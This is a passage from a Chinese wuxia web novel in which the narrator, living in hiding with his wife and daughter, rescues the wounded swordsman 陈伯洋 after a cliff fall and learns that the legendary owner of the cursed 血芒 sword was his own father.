“铮!” 一道青光闪过,潋滟如碧水的青光剑在卷起一阵柔和的风。原本已落定的花瓣,随风在地上翻滚了几下,随着小月剑尖儿上挑,陡然如同是有了生命的蝴蝶一般,在空中旖旎飞舞。 小月笑着,时而看着纾瑶,时而看向我,她如同是当年舞动花雨如丝带的仙子一般,表演着令人痴迷陶醉的剑舞。 “娘好棒,娘好棒。” 纾瑶蹦跳着拍手,围着青光剑卷起的漫天花雨欢快的大喊。 那真是令人羡慕的年纪。看着纾瑶天真烂漫的模样,我会禁不住地遥想起当年的我。那时,我们兄弟四人随着八矛师父浪迹江湖。一路向南逃窜,躲避长江两岸纷飞的战火。 那时,大金的铁骑在江北跃跃欲试,随时都有可能跨过宽阔的长江,将残忍的战火燃烧到富庶的江南 。 八矛师父带我们路过江南一座小镇时,我们兄弟四人已经饿了整整两天。当时,小镇上已经空无人烟,所有的人都为了躲避战火的蹂躏,逃到了更远的南方。 一条款款流淌的小溪绕过荒芜的小镇。也是如这时,炫美的夕阳斜照,波光粼动的水面,恍惚间让我们感觉有无数小鱼在其中跳跃游荡。 我喊着“师父,师父,水里面有鱼。” 这一声喊出口,另外三个兄弟纷纷双眼冒光,口水像溪水一样涌出,激烈地向下流淌着。我们蹦着,跳着,跑着,奔向了波光粼粼的小溪。 然而,当我跑到溪水边缘的时候,透过清澈见底的溪水,看到的却是溪水下面一层令人失望的绿毛。 大哥一把将我推到在地上,骂道“瞎了狗眼,哪里有鱼,害我们白白高兴了一场。” 我坐在地上,茫然地挠着头,看着依旧在湍湍流淌的溪水,空荡荡的水中,偶尔飘过几片干枯的杂草。 八矛师父拖着疲惫的身子走到我面前,似乎是又拼劲了全身的力气将我抱起来,说“你们跑得太快了,鱼儿被你们吓跑了。” 我鼻头一酸,哇哇大哭起来,吵嚷着“师父,我要鱼,我要鱼。” 师父将我重新放在地上,将我们四人排成一排,指着远处的一块石头,说“你们跟我跑到那个地方,鱼儿就会游回来了。” “真的吗?”我们兄弟四人齐声问。 八矛师父枯瘦的双手在空中有力地拍响,他大喊一声“快跑!”迈着沉重的步子,他奋力跑向远处的那块石头。 我们兄弟四人紧跟其后,虽然年龄上有所差距,但那时的奔跑却谁也不愿落在后面。 当我们气喘吁吁地跑到那块石头边时,师父艰难地挺直了身子,指着那条小溪,说“快,快看!” 我们兄弟四人同时转过身去。当我目光接触到溪面时,残阳如血的光芒照亮了整条小溪,波光粼粼,仿佛有万千红色的小鱼在其中欢腾跳跃。 那一瞬间,我们似乎都忘记了饥饿。只记得那满溪满溪的红色小鱼在溪水中游动的画面。 那时的我们,像极了此时的纾瑶。她看到漫天花雨纷飞如蝶时,满脸奕奕的神采,也像极了当年的我们。 我忽然想,纾瑶,真愿你永远都不要长大。永远如这时一般,永远做一个没有烦恼和忧虑的孩子。 小月双足一点,凌空跃起,青光剑直指天际,卷得漫天花雨蔚然成势,如同是一道从天际流淌下的黄色瀑布,纷飞如花,绝美异常。 青光剑在空中陡然翻转,剑尖儿朝下,青光剑如同蝉翼般地抖动 ,漫天花瓣化作腾飞的巨龙,飞向地面。 “娘好棒,娘好棒!” 忽然,兴奋的纾瑶抑制不住她幼小心灵中强烈的欢喜,跑向了巨龙之下。 花雨将纾瑶淹没,凌空而下小月的脸陡然之间变得煞白如纸。眼看着纾瑶即将被巨龙吞噬,小月的剑势又快又猛,更没有了收手的可能。我心口猛然一缩,丝毫不敢迟疑,一把攥住了腰间的剑柄。 “铮!” 猩红色的光芒闪烁,剑刃刺入巨龙,发出兴奋的低吼。 它已整整四年没有离开过雪银的剑鞘。那圣洁雪银色,就像一个强大的禁锢,封印了血芒整整四年。 青光与猩红在花瓣的海洋里剧烈的碰撞在一起。就像是两个相爱相杀的伙伴一般,迸发出耀眼夺目的火星。 漫天花雨缓缓飘落,我怀里的纾瑶正迷茫地看着我,她眼中似乎闪过一丝恐慌,但当她抬头看我的时候,却又忽然开心地笑了起来。 “爹爹也好棒!”纾瑶拍手笑道。 小月落地,尚未站定身子,就急忙冲了过来,她一把将纾瑶抱在怀里,满脸惊魂未定的模样“瑶儿,你没事吧!瑶儿” 我安慰小月,说“别担心,她没事。” 小月将满脸笑意的纾瑶放在地上,仔仔细细查看着她身上的每一处。忽然,她眉头一皱,双手拉着纾瑶的袖口,问“怎么,怎么会有血?瑶儿,你哪里受伤了?” 纾瑶诧异地看着自己衣服上的那一抹殷红的血渍,一抬头,大声嚷道“是爹爹,他的胳膊流血了。” 小月猛然站起身来,她满脸焦急地抓过我的胳膊。那时,我才感觉自己小臂上一阵火辣辣的疼痛,一道三寸有余的伤口赫然涌着鲜红的血。 鲜血贴着手臂的皮肤,缓缓向下流淌,从指间流到棕色的剑柄上,绕过剑柄上猩红的珠子,最终流到了猩红的剑刃上。 侵染了鲜血的血芒剑如同陡然焕发了生机一般,猩红色的光芒比天边沉下的夕阳还要鲜艳,它正贪婪地吮吸着我的血液,就像是一条从冬眠里苏醒的巨蟒,正疯狂地吞噬着一只主动送入它口中的山羊。 小月慌忙夺下我手上的血芒剑,用力一挥,将剑扔到了数丈之外。 “血芒,血芒!”小月带着哭腔,说,“我们不要它了好不好,这是一把不吉利的剑。” 这的确是一把不吉利的剑。 这四年来,我时常会从噩梦中惊醒。在梦里,我手上攥着猩红光芒闪烁的血芒剑,伫立在堆积如山的尸体前,肆虐地咆哮着。 我时常会梦到自己,双手沾满了令我作呕和恐惧的鲜血,挥舞 着猩红如血的光芒疯狂地屠杀着世间的一切生灵。 陆石曾告诫过我,这一生都不要再使用血芒剑。 所以,这四年里我从未拔出过血芒剑,始终将它隐匿在圣洁的雪银剑鞘中。但是,我却也不愿放弃血芒剑。因为,我隐约感觉到,青光血芒背后所隐藏的那个谁都不愿向我明说的秘密,或许就与我的身世息息相关。 青光血芒,一世剑狂。 那应当是怎样的一段往事? 小月轻轻推了我一把,将我从无限的思绪之中唤醒。她面带忧色,轻声问我“你没事吧。” 我对她一笑,算是抚慰,说“我没事。”说完,我走到被小月扔掉的血芒剑前,犹豫了片刻,还是将它捡了起来。 插进雪银剑鞘的那一刻,血芒剑发出一声不甘地吼声。 小月说“这终究都是一把邪剑。” 邪剑?! 我仍记得娄琴将青光血芒交给我时所说的那句话,剑没有正邪之分,区分正邪的从来都是人心。 我将这句话向小月重复了一遍,却仍旧没有驱散她眉心紧锁的忧虑。我继续宽慰道“我答应你,以后再也不会把它拔出来。今天情况危急,所以才” 小月叹了一口气,说“今天都是我不好,只顾着逗纾瑶开心,却没有预料到她会突然闯入剑下。” 我抱起纾瑶,用手指尚未凝固的鲜血在她眉心轻轻点了一枚红记,说“纾瑶真漂亮!” 小姑娘天真烂漫的笑容再次浮上脸庞。那时,我真的期望时间永远凝固在当时,落花藏龙,溪水流淌,怀里是纯真无邪的笑容,身旁是温柔如玉的小月 3 入夜。 我站在山洞口抬头遥看月色,回忆着过去四年里,我们一家人寻找心中天涯海角的种种经历,似乎每一天都过得那么美好。 除去时时闯入我梦中的那些我不愿想起的那些故人、那些往事。 赵构、陈伯洋、管天下、何白旗、易小心 我在心里默默地数着他们的名字,感觉自己明明已经忘了他们的模样,却仍然抹不去他们在我心里留下的灰蒙蒙的阴影。 “在看什么?” 一双柔软的手,总是带着恰到好处的温柔给我带来一丝暖意。小月轻轻贴在我耳边,小声地说“纾瑶已经睡了。” 我笑了笑,说“我们可以做自己的事了。” 小月脸颊一红,问“你想做什么事?” 我抬头看着天上皎洁的月色,说“赏月。” 小月脸颊更红,如同是喝醉了酒一般,说“你今天怎么了 ?突然说些这么没羞的话。” 我一怔,不解地看着小月羞涩的模样,心中一片迷茫。我指着天上的月亮,问“赏月怎么就没羞了?” 小月愣了愣,看着我,又看了看天上的月亮,登时一脸羞愤表情,言辞错乱地说“你,你我以为你是说你竟然真的是” 我感觉自己似乎是又说错了什么,惴惴不安地问“我怎么了?” 小月憋得满脸通红,半晌从牙缝里挤出一句话“你这个傻子!” 4 我的确是个傻子。 直到几十年后,我依旧是这么认为。愈是垂暮,愈是觉得自己当年傻得不可理喻。所以,我才会否决了这四年里发现的那么多世外桃源,最终不顾小月的反对,坚持回到了藏龙涧。 小月说“藏龙涧已经被易小心发现了,那里并不安全。” 我说“最危险的地方,就是最安全的地方。况且,易小心已心灰意冷,不会再来找我。” 这夜,我和小月坐在纾瑶降生的山洞口,静静地看着天上的月亮照亮了整个山涧。 我说“这感觉真不错。” 小月问“什么感觉?” 我说“怀里抱着一个月,天上看一个月。” 那时的感觉真的是不错,真的让人陶醉。自绍兴十六年管天下起义失败之后,武林各大门派齐聚天目山,逼迫皇上下旨复建武学。朝廷没有再找江湖的任何麻烦,也没有再以任何借口插手江湖上的事务。 江湖似乎是风平浪静地渡过了四年。宋金两国相安无事,民间一片祥和,百姓安居乐业,也只有在每年大宋向金人进贡朝拜之时,引来民间一群文人墨客讥讽怒骂。 我和小月都以为,或许这一生就可以这样安逸的渡过了。 然而当时的我们谁都不会想到,江湖即将经历一场生死继绝的浩劫,朝廷即将掀起一片狂风骤雨,而藏龙涧也将会如那遥远的传说中一样,再次出现一个搅起腥风血雨的魔头 (本章完) (教育123文学网) 第一百六十七章 坠崖 1 回到藏龙涧不久后的一天。 这日午后,我带着纾瑶在山涧的溪水中捕鱼。她提着竹篓,跳跃在溪水间的青石上。一会儿指着这边,一会儿又指着那边,满心欢喜地喊着“好多鱼!” 我摇头笑着,说“瑶儿,这些鱼都太小了。” 纾瑶嘟起嘴巴,挠着头,目光又投向溪水中继续寻找。 这时,一条七八寸长的白鱼从溪水中缓缓游过,我连忙示意纾瑶噤声。提起手中的竹竿,正准备伺机将白鱼挑出水面。 “啊……” 忽然,远处山涧之上的崖壁上传来一声长长的叫喊声。 纾瑶先抬起头,欣喜若狂地冲我喊着“爹,那里飞下一只大鸟!” 我抬头望去,只见葱郁的崖边,正有一个人影快速下坠。他脊背朝下,我看不清他的样貌,但他手中闪耀的金光,让我不禁内心一颤。 曾几何时,巢湖之畔,淮水河边,括苍山上,也曾有一把金丝缠绕的宝刀,在阳光反照下闪烁着同样的金色光芒。 金丝海皮刀! 会是陈伯洋吗? 我不敢再犹豫,因为就在这一思量之间,那人影已经坠落至半空,眼看着就要摔在地上,成为一堆肉泥。 我双足用力一蹬,疾步如风,两遍风景恍惚成一片绚丽的水墨。 这四年里,在小月的悉心指导下,我已经练就了一身快若闪电的轻功。只一晃之间,我便已来到了那人影坠落的下方。 双手托天理三焦,左右开弓似射雕。 我转运功力,将一忖暗力汇聚掌心,徐徐发出,凝成一股内坚外柔的气垫,当那人坠到我头顶上时,在他腰间与脊背处一托。 虽然我早有准备,但那下坠之力仍旧让我双臂剧烈一震,瞬间几乎失去知觉。 那人虽说保住了性命,不至于粉身碎骨,但如此强大的坠力也同样会让他难堪忍受,他跪倒在地上,哇的一口吐出鲜血。 那人稍稍缓释片刻,抬起头与我目光交接,不由地一怔,讶然叫道“姬……怎,怎么是你!” 我慢慢沉下气息,说“别来无恙,陈掌门。” 陈伯洋脸色复杂,打量了四周,问“这是哪里?” 我说“藏龙涧。” “爹爹……”纾瑶跑到我身旁,抱住我的腿,一副天真烂漫的模样,说,“原来不是大鸟,是个老伯伯。” 我抚摸着她的头。纾瑶忽然兴起,摇着我的腿嚷道“爹,我还想看伯伯再飞一次。” 陈伯洋闻言慌忙站起,他似乎是受了极重的内伤,起到一半,胸腔剧烈起伏,一道血雾从嘴里噗地一口喷 了出来。 “哇!”纾瑶兴奋地拍手,喊着,“伯伯好棒,伯伯好棒!” 陈伯洋痛苦的脸上闪过一丝愤怒,他抬起头看我正瞪着他,慌忙将怒气隐去,低声地对我说“多谢救命之恩。” 我淡淡一笑,问他“你怎么会从山上掉下来?” 陈伯洋目光闪烁,似乎经过一番思索,说“我从山崖间经过,一时不慎跌落下来。一时不慎”他声音越说越小,明显是在隐藏着什么,他不愿说,我也没有心思追问。 我指着走出藏龙涧的小路,说“你走吧,从那里可以出去。” 陈伯洋愣住了,他似乎是没有想到我会突然让他离开。他一只手紧紧攥着金丝缠绕的海皮刀,另一只手捂着震荡起伏的胸口,几番犹豫,终还是顺着我指的方向迈出了一步。 没走出几步,陈伯洋身子一沉,轰然倒下。我走过去的时候,他双目紧紧地闭着,气若游丝,显然已是昏迷了过去。 2 我把重伤昏迷的陈伯洋扛回山洞的时候,小月正在缝补着昨日纾瑶玩耍时弄破的衣裳。她看见我肩头扛着一个人,愣一愣,问“这人是谁?” 我将陈伯洋放倒在地上,说“括苍派,陈伯洋。” 小月满脸惊讶,问“怎么会是他?” 我说“我也不知道为什么,他从山崖上掉了下来。” 小月问“是你救了他?” 我点了点,说“是。” 小月蹲下身子,查看了陈伯洋的伤势,他面白如纸,气息若有若无,显然是受伤极重。小月问“你和他交手了?” 我说“没有。” 小月问“那他怎么会伤成这样?” 我摇了摇头,说“我也不知道,他说是不慎从山崖上跌落下来的。” 小月冷哼一声,说“他胸口正中受人一掌,明显是与人交手过手。只怕是被什么人一掌打落下来的。” 以陈伯洋的武功,若是真刀真枪的较量,放眼江湖之上,又能有几个人能将他一掌打落悬崖? 我说“除非,他是遭了什么人的暗算。” 小月缓缓地摇头,说“不可能。以陈伯洋的武功和心思,什么人可以在他全然未及反应之时,正对面突发一掌将他打落悬崖?除非这个人的武功远在陈伯洋之上。” 比陈伯洋还要厉害的人会是谁呢? 我和小月都陷入了沉思。纾瑶提着小木桶一步一摇地走到了我们跟前,未经我和小月许可,纾瑶提起水桶就要向陈伯洋的头上浇水。 “瑶儿!住手!”小月阻挡不及, 满满的一桶水“哗”一声全部倒在了陈伯洋的头上。 陈伯洋剧烈地咳嗽了两声,身子不住地颤抖着。小月慌忙将纾瑶拦在怀来,向后数步,警惕地盯着缓缓苏醒过来的陈伯洋。 陈伯洋的眼睛慢慢地睁开了一道缝隙,仿佛是在盯着我,他抬起手向我央求“救救我,救救我!” 救,或者不救。这是一个难以抉择的问题。 诚如小月说的那样,如果将陈伯洋救活了,那我们栖身藏龙涧的秘密恐怕随时都有可能传扬出去。 可若是不救 我看着陈伯洋奄奄一息的模样,只怕已经熬不过三两个时辰。他随时都有可能会死。 犹豫了许久。我终究还是狠不下心来,我无法忍受看着一个人在我面前慢慢死去时的煎熬。 况且,还是在纾瑶的面前。 我将陈伯洋扶坐起来,封住他胸口的几处要害穴道,缓缓吐纳,把内力送入陈伯洋体内,帮他打通淤阻的血脉。 小月在一旁默不作声地看着我,看了许久,长长叹息了一声,抱起纾瑶说“走吧,瑶儿,不要打扰你爹救人。” 纾瑶乖巧地嗯了一声,说“爹爹真棒。” 那一刻,我心里原本还残留的一丝犹豫,因为纾瑶的一句话,瞬间烟消云散。 至少,在孩子面前,见死不救是错的。 3 “咳咳……” 夜间,山洞外时不时便会传来一阵猛烈的咳嗽。每当我听到时,便不由自主地看向洞口。 陈伯洋的内伤着实不轻。我用尽全力,勉强保住了他的性命。只是,他胸口所遭受的那一掌,掌法着实怪异,竟然能移经转穴,将伤害从胸口通遍全身。 小月哄着纾瑶睡去之后,缓缓来到我身旁,问“陈伯洋的伤……” 我说“他身上多处经脉受损,我内力不足,只能保住他这条命,却保不住他的武功。” “那他岂不是成了一个废人?”小月问。 我点了点头,说“若有当年白前辈那样高深的内力,或许他还有可能恢复一些,但如今放眼江湖,谁还会有那样的本领?” 小月说“如此最好。反正这陈老头也不是什么好东西,你救他一命,我本来就觉得多余,如今他武功尽失,倒也省得他再有什么不该有的心思。” 当年,在淮水边上,陈伯洋以独门海皮刀法重伤小月。我想,至今她仍旧是耿耿于心。 我说“都是陈年旧事了,不要总是放在心上。” 小月眉头一皱,满脸不悦,说“你当我是那种心胸狭窄的人?!若陈老头真的是什么光明磊落 的英雄好汉,即便是他和我又再大的仇怨,我也不会这样说。可是……”小月瞪着我,越说越激动,最后她一字一字重重地说“他不是!”说罢,她扭头走了。 我望着小月愤然离去的背影,忽然为自己的错怪而内疚。我想向小月道歉,然而,她丝毫没有给我留下机会,躺在了纾瑶的身旁…… “咳咳咳咳……” 又一阵剧烈的咳嗽从山洞之外传来。即使在温暖的春季里,藏龙涧的夜晚也时常去秋季那样,山风瑟瑟,阵阵寒凉。 陈伯洋重伤未愈,把他一个人扔在山洞外忍受冷风,我感觉有些不忍,顺手抓起自己的毯子,走出了山洞。 陈伯洋正蜷缩着他那又圆又胖的身子,在山洞外的一处灌木丛里瑟瑟发抖。即便是身受重伤,即便是瑟瑟的风已经吹得他浑身颤抖,他还是死死地抱着那柄金丝缠绕的宝刀,就好像那柄刀比他的生命更加重要一样。 我将毯子仍在他身上,他浑身一颤,立即紧紧握住刀柄,警惕地看向我。当他发现自己身上无端多了一条毯子时,他那双敏利的眼睛顿时柔和了许多。 “谢谢你。”陈伯洋将毯子在自己身上裹紧,说,“真没想到,你竟然会救我。” 我说“我也没有想到。” 陈伯洋忽然凄苦地干笑了两声,说“其实,你又何必救我。从此我成了一个废人,在这个世上苟活着,简直是生不如死。” 我说“既然这样你可以自杀。刀就在你手上。” 陈伯洋忽然愣住了,他半张着嘴巴,不知要如何接我的话。我说“如果你想自杀的话,我肯定不会再救你了。 “为,为什么?”陈伯洋问。 我说“救你一次太费内力,我累了。”说完,我又回到了山洞。看着侧身躺在纾瑶身边的小月,一动不动,不知道是真的睡着了,还是因为生气故意装出了一副不愿理我的样子。 我轻轻推了推她的肩膀,小月猛地一耸肩把我的手震开。我又推了推,她又一耸肩。我再推,小月忍无可忍地转过头来,低声嚷道“什么事?!” 我说“给我腾个地方。我想睡觉。” “你!”小月瞪圆了眼睛盯着我,瞪了我许久后,终于如积蓄的火山骤然喷发了一般,冲我低吼“睡地上!” 4 陈伯洋内伤渐愈。但是,他身上受损的经脉,经过我几次帮他运气调理,仍旧没有起色。而已经成为废人的陈伯洋,嘴上说着生不如死,却依旧好端端地活在世上,并没有用他手上的宝刀抹了自己的脖子。 大概寻常人都会是这个样子,嘴上 发狠时张口便来,但真正要去做什么事的时候,却往往狠不下心来。 我将真气缓缓收回,深深地吸了一口气,对陈伯洋说“算了吧,我不想再试了。” 陈伯洋满脸焦急,说“明日再试试吧,这个时候也只有你能帮我了。” “陈老头,你可真不要脸!”小月不知什么时候走了过来,她脚下使的是踏叶无声的轻功,手上提着竹篮,竹篮里飘来一阵香喷喷的气息,让人禁不住口水直流。 小月忽然瞪了我一眼,小声地说“把口水擦掉!” 我这才发现,那竹篮子里飘出的饭菜的香味,竟然真的把我的口水引了出来。我笑着抿了抿嘴,说“我真的是饿了。” 小月噗嗤一声笑了,将竹篮子放在我面前,端出一只烤得乌黑发亮的鸟肉,放在我面前,说“吃吧。” 我轻轻地揭开一层被烤得如焦炭一般的皮,露出还粉白、粉白的内里,隐约间还带着一点殷红的血丝。我咧了咧嘴,说“这鸟烤得果真是外焦里嫩。” 小月有些歉意地说“自然是不如你做得像样子,但你闻一闻这气味,还是焦香无比,十分诱人的。” 陈伯洋听着小月的话,不由地抬起了头,极力地绕过小月的半截身子,想要一探竹篮里的究竟。风一吹,或许是带着竹篮子里的焦香扑向了陈伯洋,他缓缓眯起眼睛,似乎在是想象着,然后开始不停地吞咽口水。 小月眼角的余光瞥见陈伯洋自我陶醉的模样,白眼儿一番,挪了挪身子,挡在了竹篮和陈伯洋之间,彻底切断了陈伯洋想要一饱眼福的视线。 陈伯洋尴尬地清了清嗓子,摇晃着他矮胖的身子,悻悻然走了。走到一棵野果树下,他抬起头围着那树转了一圈。多日来,陈伯洋在藏龙涧中一直已摘食野果为生,小月虽然没有阻止我给陈伯洋疗伤,但她却坚持着不肯给陈伯洋任何食物。 很快,低矮树枝上的野果子被陈伯洋摘光了,只剩下一丈多高的树上,密密麻麻的野果子在山风的吹拂下向树下之人引诱地摆动着。 若是从前的陈伯洋,他双足一点腾空跃起,或者掷出一枚石子,甚至是一刀将整个树干砍断,都是信手拈来,轻而易举的事。但这时,武功已经尽失的陈伯洋遥望着他已高不可攀的树枝,许久之后,发出一声长长的叹息。 我将手中的鸟肉一分为二,准备送给陈伯洋一份。小月一把将两块肉全都抢了下来,警告我说“你若敢给他吃,以后你休想让我再给你做任何吃的东西。” 看着小月决绝的模样,我只能作罢。将两半鸟肉统统塞进嘴里,美美地 享受了一顿。最后,我将手上的一块碎骨,冲着陈伯洋遥望的果树上一扔。 碎骨飞出,打在弯弯垂下的树枝上。“咔嚓”一声,树枝断作两节,带着满满当当的野果,落在陈伯洋的脸前。 陈伯洋大喜,他慌忙蹲下身子,将树枝上的野果一颗一颗地摘了下来,将它们小心翼翼地兜在衣服的下摆之中,跑到溪水边,认认真真地洗了起来。 小月指着陈伯洋,说“真不明白你为什么要帮他这样的人。都落魄成这个样子了,还整日整日地讲究。” 讲究没有错,不讲究的人才是大错特错。 陈伯洋洗完野果之后,兀自有跑到树下将洗的干干净净的野果含在嘴里,慢慢地咀嚼着,仿佛那是人世间难得一见的珍馐美味一般,他每一口吃得仔仔细细。 “咕噜” 肚子间一阵异常的响声,拖着长长的尾音传入我和小月的耳朵。我俩不由地对视了一眼,小月笑着问“你没吃饱吗?” 我还未来得及回答,只感觉腹腔中翻江倒海,一阵针扎似的疼痛传来,随即感觉有浊物急速下坠,正以我所不能忍受的速度涌向幽门。 小月似乎看到了我异样的表情,急忙关切地问“你,你怎么了?” 我说“我憋不住了。我要走穴。” 晚间,已被折腾得浑身无力的我,强忍着满怀的悲怆,缓缓地躺在了床上。明显已经空空如也的胃肠里,却不知还有什么未知的东西,在跃跃欲试着,时不时地就想去叩响我那已如火烧火燎一般地魄门。 纾瑶走近我身旁,忧心地看着我,问“爹,你怎么了?” 我拼劲全身地力气,伸手去抚摸纾瑶柔软的脸庞,轻轻地嘱咐 (本章完) (教育123文学网) 第一百六十八章 邪剑 1. 陈伯洋在藏龙涧一住便是十几天。虽然他的伤势日渐好转,但是已经丧失的功力,却始终没有办法恢复。 陈伯洋极为沮丧,起初他天天央求我,让我帮他疏通筋脉,治疗内伤,企图在这藏龙涧中找回当年威风赫赫的括苍派掌门的英姿。 我说:“你可以离开藏龙涧,或许山外有山人外有人,你可以找到一个武功比我高强的人帮你。” 陈伯洋却不肯,他说:“我现在武功全失,已经成了一个废人。走出藏龙涧,且不论我能不能找到一个武功比你还要高强的人,我就连自己能不能活下去都不敢说。” 我问:“到底什么人要杀你?” 陈伯洋忽然觉得自己言语有失,慌忙解释:“没,没有人要杀我。我都说了,我是不慎坠崖。” 我说:“那你为什么觉得自己走出藏龙涧便不能活下去?” 陈伯洋敷衍道:“如今世道不太平,就算是个山贼抢匪,也可能会要了我的性命。” 我说:“山贼抢匪都是要钱,你可以把海皮刀交出去。它应当很值钱。” 陈伯洋慌忙抱住海皮刀,说:“万万不可,这是我括苍山祖传之物,岂能轻易交出去?” 我到了一眼海皮刀上密密麻麻缠绕的金色丝线,说:“你可以把金丝拆下来。” 陈伯洋一怔,随即阴着脸对我说:“金丝拆了,便不是海皮刀了!” 我笑道:“等你回了括苍派,再买些金丝缠上就好了。” 2. 我拗不过陈伯洋的死缠烂打。只得不顾小月的反对,每日为他运功疗伤。每天从清晨到日暮,不知经过几个轮回,陈伯洋的内力并没有丝毫恢复的迹象。他阻塞的血脉依旧紧紧地绷着,即便是我用尽全身力气,也无法将其疏通。 十几天后。不仅是我已经忍无可忍,就连陈伯洋也逐渐心灰意冷,最终绝望了。 那天,陈伯洋抚摸着海皮刀,金灿灿的光芒反射到他苍老的脸上,给他的脸上镀上了一层金色的光芒,若不是了解陈伯洋的为人,我几乎就要把他当做是金身罗汉下凡,普渡人间疾苦了。 陈伯洋说:“只怕今生今世,我再也舞不动这把刀了。”他语气中的落寞与伤感,让人不禁唏嘘感叹。 这藏龙涧中的这段日子,陈伯洋十分安分。虽然,他总是以一副江湖前辈的姿态自居,即便是有求于我时,他依旧是语气高昂,甚至有些颐指气使的模样。 他当然不会知道,当年他与李小谦所密谋之事,已经被我在门外听得一清二楚。我不说破此时,他也更不会提起。 但小月对此事心知肚明,因此她对陈伯洋的态度一向十分冷淡,有时还会找机会对他冷嘲热讽一番。陈伯洋或许是觉得自己当年在淮水河畔重伤了小月,被小月怀恨在心,加之他武功尽失,因此一直隐忍着,从来没有发作过。 纾瑶或许是在藏龙涧中整日与我和小月相处,觉得有些乏味了。忽然来了一个外人,她难掩童真与善良的本性,时常会跑到陈伯洋身边,与他玩耍。 起初,纾瑶还有些腼腆。她蹲在远处,看着怔怔发呆的陈伯洋,捡起一颗石子扔到陈伯洋跟前。 陈伯洋看了纾瑶一眼,冲她微微一笑,对我说:“你女儿很像你妻子。” 我说:“因为是亲生的。” 陈伯洋一愣,绝然想不到我会有这样的回答。威风赫赫的括苍派掌门满脸尴尬,不知如何接话。 后来,纾瑶会故意将一些随身的饰物扔到陈伯洋跟前,然后跑过去捡起来。陈伯洋冲纾瑶善意一笑,纾瑶慌乱地跑到远处的树后躲起来。过了片刻,她又会缓缓地深处圆咕噜的小脑袋,冲着陈伯洋嬉皮地笑。 几番接触之后,纾瑶与陈伯洋熟络了许多。她不再如以往那样好奇地接近而后又羞涩地跑开,而是会直接跑到陈伯洋的跟前,盯着陈伯洋手中金光灿灿的海皮刀,翘着圆圆的笑脑袋问:“伯伯,这把刀为什么是金色的?” 面对天真烂漫的孩童,即便是至奸至邪之人,也实难不为之所动。每当听到纾瑶的疑问,陈伯洋严肃的脸上总会露出和蔼的笑容,他不厌其烦地向纾瑶解释着:“因为这是天下最厉害的刀,这世间所有宝物都是金光闪闪的。” 陈伯洋看着纾瑶可爱的模样,满脸爱怜之色,对我说:“若我也能有一个这样的女儿,只怕也会如你一样,隐身于江湖之外,过得逍遥自在。” 我问:“你女儿什么样?” 陈伯洋说:“我没有女儿。” 我点了点头,又问:“那......你儿子什么样?” 陈伯洋一脸阴沉,对我说:“老夫并未娶妻,也没有儿女。” 我同情地看着陈伯洋,想到他人到晚年依旧没有享受过鱼水之欢,便啧啧了两声,安慰道:“其实做个老童子,也没什么不好的。” 陈伯洋脸色更加阴沉,冷冷地说道:“老夫没有娶妻,并不代表老夫没有过女人!” 3. 不知是这些年的经历让我心胸宽广了许多,还是因为我远离了江湖,那些是非在我心中的已经渐渐淡去。与陈伯洋相处的这些日子,我竟渐渐地对他不再厌恶,反而多了一些亲近之感。 有时候,我会恍惚觉得,他有些像当年的白景行。也是相差无几的年纪,与我朝夕相处,只可惜......这里再也见不到 这日,正值夜间。纾瑶又跑到陈伯洋跟前去问同样的问题。陈伯洋笑着给予同样的回答,然后他又指着天上的星芒,说:“你看天上的星星,那是天上神仙的宝物,也是金光闪闪的模样。” 纾瑶忽然说:“伯伯,你的宝物像星星一样是金色的,为什么我爹爹的宝物却是红色的。” “红色的宝物?”陈伯洋笑着,问,“你爹爹的宝物是什么?” 纾瑶用力伸展双臂,说:“是一把这么长的宝剑。”或许是纾瑶觉得这样描述不够准确,她又补充了一句:“剑柄上面还镶着一颗红色的珠子。” 陈伯洋微笑着点头,他刚要说什么,忽然表情一滞,脸上略过一丝惊恐,低声念道:“红色的珠子……莫非是,是血芒剑?!” 我发觉情况不妙,慌忙过去捂住纾瑶的嘴巴。纾瑶挣扎着,张开嘴狠狠地咬了一下我的手指,满脸委屈地叫道:“爹,你为什么要捂我的嘴?!” 陈伯洋缓缓地抬起了头,他看着我,眼中的惊恐之色不将反增。他问我:“血芒剑当真在你手中?!” 我不愿骗他,却也不愿向他说明什么,只说了一个字:“是。” 陈伯洋恐惧之色更重了,这些日子已经渐渐恢复了的一些血色骤然之间消散得无影无踪。他说:“天意啊,天意啊!血芒剑消失在江湖上已经有二十几年了,没想到,最终它却回到了少主人的手中。天意啊!” 少主人?! 我心头一颤,问:“你这话是什么意思?!” 陈伯洋一怔,问:“你竟然不知道血芒剑的来历?” 我当然知道。我说:“血芒剑和青光剑,是当年剑狂前辈的佩剑。” “剑狂......前辈?” 陈伯洋开始大笑,他笑声嘶哑,笑得莫名其妙。我不禁怒问:“你笑什么?!” 我的吼声没有制止住陈伯洋的笑声。纾瑶盯着陈伯洋的样子,兴许是觉得有趣,童心骤起,学着他仰起头来放声大笑。 陈伯洋目光柔和地看着眼前的小姑娘,听着她如银铃一般悦耳的笑声,说:“小瑶儿,你去找你娘好不好?” 纾瑶面带不悦,说:“我想听伯伯跟我讲宝物的故事。” 陈伯洋摸了摸纾瑶的头,说:“到明天伯伯再跟你讲。” 纾瑶抿了抿嘴,又看了看我。我说:“去吧。你娘在山洞里等你。”纾瑶灿然一笑,应了一声,蹦蹦跳跳地回了山洞。 4.天籁 “你要跟我说什么?” 陈伯洋故意支走了纾瑶,我想他一定是要跟我说些什么。我索性开门见山,问他:“你可是要跟我讲剑狂前辈的事?” 陈伯洋忽然又笑了,他不像方才那样笑得大声,是一种低沉的笑,似乎还带着嘲讽之意。他说:“剑狂前辈。呵呵......” 我再也忍不下去了,大声吼道:“有什么话就直接说,不要故弄玄虚。” 陈伯洋脸色骤然冷了下去,他盯着我,眼角微微抽搐,仿佛有些愤怒。他说:“你可知道你口中的剑狂前辈姓什么?” 我说:“我不知道。” 陈伯洋深深吸了一口气,重重地说:“他姓姬!” 他姓姬! 这一句话如同是千斤巨石狠狠地砸在了我的胸口,我感觉到强烈的窒息感。 剑狂姓姬!难道这只是一种巧合吗? 只怕不会!若是巧合,陈伯洋为什么会这样告诉我? 我隐约已经猜到了什么。我强忍着内心的震撼,问:“姓姬又怎么样?” 陈伯洋缓缓地说:“他是你爹!” 晴朗的夜空中,繁星点点,远处虫鸣鸟叫声声不绝。但那一切,都仿佛在陈伯洋说话那句话的一瞬间消失了。 无边无际的黑暗,陡然一道霹雳砸在我的心口,震得我眼前一黑,脑袋中“嗡”的一声,近乎要昏厥过去。 